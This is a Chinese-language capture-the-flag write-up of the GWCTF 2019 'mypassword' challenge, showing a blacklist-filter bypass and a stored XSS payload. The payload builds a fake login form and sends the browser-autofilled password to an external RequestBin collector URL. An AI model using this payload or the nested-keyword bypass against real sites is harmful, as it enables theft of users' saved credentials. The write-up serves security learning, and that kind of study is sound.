[GWCTF 2019]mypassword XSS

放假后的第一个题目,感觉思维有点跟不上了,应该还是自己太菜

随机登录一个账号进去,看到提示说不能注入,那我偏要试试

可以看到Feedback是一个留言板,然后List会显示留言的内容,感觉像是二次注入,不管了先试试

12!@#$%^&*()__{}|":<>?select union 

先将符号全部留言一遍

可以发现还是存在着一些过滤的

 

发现输入了1^1并没有执行,可能一开始只是显示一下,并没有存入数据库呢?于是赶紧再尝试一个列子观察输入的1^1是否会被SQL语句执行出来

结果发现依然没有……只能看看别的地方了,一开始提示到源码泄露

if(is_array($feedback)){
    echo "<script>alert('反馈不合法');</script>";
    return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
    while(true){
        if(stripos($feedback,$val) !== false){
            $feedback = str_ireplace($val,"",$feedback);
        }else{
            break;
        }
    }
}

 发现黑名单都是js的内容,于是这时候有一个念头冒出来了,是不是可能是XSS?之前见过几次但是很生,没怎么做过,于是尝试着在留言框输入一个

<scriphostt>alert(1);</scriphostt>

 这样写的原因是因为script被过滤掉了,但是经过测试可以利用黑名单为空来进行绕过

输入scriphostt
过滤取空后就会变为 script

实现成功

 

但是不知道flag在哪里啊,经过查找可以发现在登录见面有一个源码js

 

if (document.cookie && document.cookie != '') {
    var cookies = document.cookie.split('; ');#以;为标志切分cookie,分类
    var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
        var arr = cookies[i].split('=');#以=为标志切分cookies,键值分开
        var key = arr[0];#键
        cookie[key] = arr[1];#值
    }
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
        document.getElementsByName("username")[0].value = cookie['user'];
        document.getElementsByName("password")[0].value = cookie['psw'];
    }
}

 根据所写注释可以知道js内容就是一个保存密码的机制

我们要获得的秘密就在 document.getElementsByName("password")[0].value里面

但是要怎么获得呢,只能看wp了,我的能力只能到此了

根据许多大佬的博客总结,这里利用到了一个XSS平台,他会给你一个url,然后会收集所有对于该url请求的报文分析RequestBin — Collect, inspect and debug HTTP requests and webhooks

根据F12对于登录框的分析

我们可以自己伪造一个简易的登录框,这里注意input也被过滤了,因此可以任意用一个黑名单元素来进行取空进行绕过 

这里不要忘了要加上

否则密码没进去 

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1hz5nj21/?a="+psw;
</scrcookieipt>

将密码发到平台所给网址上面

等一会儿就可以看到请求

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值